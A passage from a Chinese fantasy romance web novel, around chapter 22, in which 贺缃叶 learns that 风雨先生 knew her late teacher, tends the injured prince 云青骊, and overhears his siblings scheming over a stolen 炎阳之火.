云青骊说完,又将右手举了举:“晚辈的手在来的途中烫伤了,能在此处叨扰几日么?”
风雨先生这才看清楚他的右手上有包扎的痕迹,整整齐齐。
她眼神微闪,盯着那伤处看了半晌,而后脸色不虞地说:“你想去抢回来可以,莫要拆了我的楼。”
“前辈放心,定然不会。”云青骊的眼睛亮了一分,准备起身告辞。
谁知两人站起来的时候,风雨先生突然开口:“贺姑娘留步。”
22. 第 22 章
被点到名的贺缃叶顿时有些紧张,她下意识看向云青骊的眼睛,后者眸中透着肯定。
“那晚辈便在屋外等候。”云青骊恭敬地退了出去。
风雨先生指了指椅子:“坐。”
于是贺缃叶再次坐了下来,但她总觉得有些不安。要跟她这个第一次见面的人说些什么?
“姑娘不必紧张。”风雨先生的声音仍旧沙沙的,但话语却不那么冷冰冰了。
她不错地盯着贺缃叶的脸,说出口的话令人大惊失色:“姑娘可是师承南筠雾?”
贺缃叶瞳孔骤然紧缩,险些碰翻手边的茶水,声音颤抖:“先生如何得知……”
“此番只有你与他同行,他手上的纱布一看就不是自己包扎的,便只能是姑娘,这种包扎手法我只在南筠雾那里见过,故而有此一问。”
“先生与我师父相识?”贺缃叶眼神充满期待。
风雨先生似是陷入了回忆,声音听着有些悠远:“少时相识,我们一见如故,曾约定要一起游遍八荒,后来与她失去联系,过了几年又得知了她的死讯,实在令人唏嘘。”
“师父她是为了封印化蛇,才不惜舍去妖丹精魄,身死魂消。”眼中染上浓浓的悲伤,贺缃叶抓紧了手边的杯子,像是要捏碎一般。
“化蛇?”风雨先生粗粝的嗓音夹杂着不解,“以你师父的修为,应是用不上妖丹的。”
“先生说得不错。”贺缃叶的声音也略显沙哑,“师父在此之前出去过一段时间,回来受了伤一直不见好。”
“你可知她去了何处?”
贺缃叶缓缓摇头:“我问过师父,可她不愿提及此事,也不许我去查。”
“或许她是为了保护你吧。”风雨先生摆了摆手,似是不愿再多说,“你先出去吧,云公子还在外面等你。”
“先生...”贺缃叶欲言又止。
“怎么了?”
“我以后能来这里听您讲讲师父和您年轻时的事吗?”师父从前从未对她说起过这些。
风雨先生掀了掀眼皮,回道:“你有空时想来便来。”
“多谢先生!”贺缃叶放下杯子,起身告辞。
她出去后带上了门,门里传来一声叹息:“命运弄人啊...”
门外,云青骊看到贺缃叶出来,关切问道:“出了何事?”
“没什么。先生好奇我同你的关系,随便聊了几句。”贺缃叶并不打算说出师父之事,她眼神扫过云青骊的脸,转移了话题,“外头凉,殿下久等了,咱们走吧。”
“那山君是如何说的?”云青骊一边往前走,一边问道。
“自然实话实说了,我同殿下又没有什么见不得人的关系。”说了才怪。
贺缃叶一脸理所当然,可云青骊听罢,挤出一丝不自然的笑容:“山君说得对。”
“对了,殿下能否讲讲如何与风雨先生相识的?”她还想着看能不能再套出些话来。
云青骊将双手放到披风之内,轻轻启唇:“风雨先生名唤鱼师青,是妖都最负盛名的术师之一,善修复疗愈之术。我少时生病蒙她救过一回,后来便时不时给风雨斋送些灵石补给之类的,只是她都不大收。”
“她不是不接待男子吗?而且她还不插手王族之事。”
“可能那时我尚……年幼?”其实云青骊也不太确定是为什么。
贺缃叶想着,赶明儿得空问问风雨先生。
两人止住话头,朝风雨斋内走去。
此高楼一共十层,每层都有守卫。
贺缃叶刚走到门口,便有小童迎了上来:“贺姑娘,云公子,这边请。”
看来风雨先生嘴上不情愿,但私下还是替他们安排好了住处。
两人被带到了顶层,贺缃叶正想问,那小童十分有眼色地解释道:“我家主人说,此处清净,适宜养伤,这两间房便是姑娘和公子的。”
“有劳了。”
“贺姑娘不必客气,有事唤一声便会有人前来。”
“好,我想问一下,你可知云青黛住在哪一层?”若是他们自己去找怕是要费一番功夫,还有可能打草惊蛇。
“云姑娘也在这一层。”
贺缃叶忍不住挑了下眉。为何风雨先生要将他们跟云青骊放在一处?她先前不是还说他们打起来拆了她的楼么?看来也只是嘴上说说,实则还是给他们行了方便。
真是个嘴硬心软之人。
小童离开后,贺缃叶随便推开了一间房的门,云青骊随之走了进来。
“殿下,你手还有伤,便住这一间吧。晚上我去隔壁睡,有事的话你就喊我。”毕竟他伤的是右手。
“好。”云青骊的脸色有些白,贺缃叶给他倒了一杯热茶,“殿下坐会儿,喝点茶暖暖身子。”
“多谢山君。”他依言坐下。
“对了,殿下。”贺缃叶又想起炎阳之火,遂问,“不知云青黛是否知晓我们来了此处,你可有什么计划?”
“她应该很快就能知道。”云青骊将左手搭在桌面上,思索几息后回,“咱们今夜可以去她房间探探。”
可贺缃叶眼神复杂地望着他的手:“殿下的手方便么?”
“无碍。”他缩了缩右手。
没多久,有小童送来了餐食。
“两位的午膳,请慢用。”
“多谢。”
贺缃叶将菜都摆在桌上,又想起云青骊右手受伤,抿了抿唇。
“殿下会用左手吃饭吗?”
云青骊微愣,旋即说道:“尚可一试。”
可等到贺缃叶快吃完了,他也没吃上两口。
贺缃叶看不下去,一把夺过他的碗,夹了些菜,直接往他嘴里塞。
“不……不用。”云青骊难得结巴,脖子也悄然红了。
“那殿下打算吃到何时?”贺缃叶停下动作,但没放下碗。
“左右也无事,我慢慢……”
话未说完,贺缃叶打断了他:“殿下本就是因我受的伤,我来照顾理所应当,殿下不必觉得不好意思。”
按理说他从小金尊玉贵的,应是习惯了被人伺候,怎么还扭捏起来了?
云青骊听完不作声了。
一碗饭喂了一刻钟。贺缃叶全神贯注地盯着碗和他的嘴巴,却没注意到他看向自己的眼神与往常不大一样,温柔却带着一丝炽热。
“好了,殿下歇会儿吧,我先回房了。”贺缃叶将碗碟收起来装进食盒,同他告辞。
然而,门打开的时候,两人却与要出门的云青黛碰了个正着。
“三弟。”云青黛走了过来,脸上带着淡笑,“你怎会在此?这位是?”
贺缃叶不动声色地打量着她。明明她已
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经知道自己的身份和来意,却还装傻充愣,看起来她比云青莲心机更为深沉。
好一个不显山露水的二王女。
“见过二王姐。”云青骊将右手遮在披风里,回以笑容,只不过贺缃叶已经能够分辨他的笑容有几分真几分假。
他又接着说:“我此行来是有些修陵之事要请教风雨先生,这位是贺山君,不知王姐前来所为何事?”
贺缃叶:一个比一个装模作样。
“喔。我母妃有些问题想要请教先生,我替她走一趟。”
“那王姐请便。”
云青黛点点头,朝贺缃叶示意后便下了楼。
“殿下不累么?”
贺缃叶冷不丁的一句话,让云青骊差点没反应过来。
而后他将右手露了出来,眼睛盯着地面:“习惯了。”
“那殿下好好休息。”贺缃叶带上门回了自己房间。
她静静地靠在窗边,外面的风声差点将她的思绪带跑。
方才她是在问云青骊老这么带着面具不累么,可又想到他说的那句习惯,一下子就觉得有些辛酸。
因为她能感受到在自己面前,云青骊尚算真诚,可面对自己有血缘关系的至亲,却是一刻不敢懈怠。
或许这便是自己不喜王族的原因。
是夜,两人潜到了云青黛房间,但房中无人。
贺缃叶巡视了一圈屋子,眉心微跳。
云青黛去哪了?难道回去了?
她刚想开口,就在此时,门外传来响动。
云青骊飞速将她拉到了衣柜靠墙的角落里,借助屏风的遮掩和敛息之术才不曾暴露。
两人靠得极近。
贺缃叶甚至能感受到来自头顶的清浅呼吸声,还有他怀中的雪松香气,忽然心跳很快。
但她不敢动,只能极力稳住自己。
云青黛走了进来。
下一刻,屋中传来两人交谈的声音。
“妹妹,事可成了?”云青莲急切的声音清晰传来。
“风雨先生不愿出手。”云青黛坐在桌边,面前放着一颗淡蓝色的石头,正闪着光,“不插手王族事务是她的规矩。”
“可是……”
“哥哥。”她打断云青莲,脸上划过一丝不耐,“你不该将炎阳之火偷出来的,眼下我们很被动。”
此刻偷鸡不成蚀把米,反倒鸡肋。她这个兄长向来有勇无谋。
“妹妹,你再去求求风雨先生,这种小事对她来说轻而易举!”
“你怎么就不懂呢?不是大事小事,而是人家有原则,我嘴皮子都磨破了她都不松口,你让我怎么求?!”云青黛有些累了。
炎阳之火的确对于他们修习火系术法的妖来说是个好东西,但也并不是唯一。
姜家富裕,想要好东西,要多少有多少,怎么偏偏她那个蠢哥哥非盯着这个不放?届时出了纰漏,这后果谁来承担?
“那就用点手段。”云青莲的声音突然阴沉下来。
“哥,你能不能安分一些?这火是你在阵法里偷来的,你也说那阵法下有不简单的东西,若是出了问题,影响了父王修陵,咱们都跑不了。我明日一早回宫,回去再说。”云青黛说完,面前的石头不再闪烁,归于沉寂。
她疲惫地揉了揉眉心,将石头收入了袖中,而后又出去了。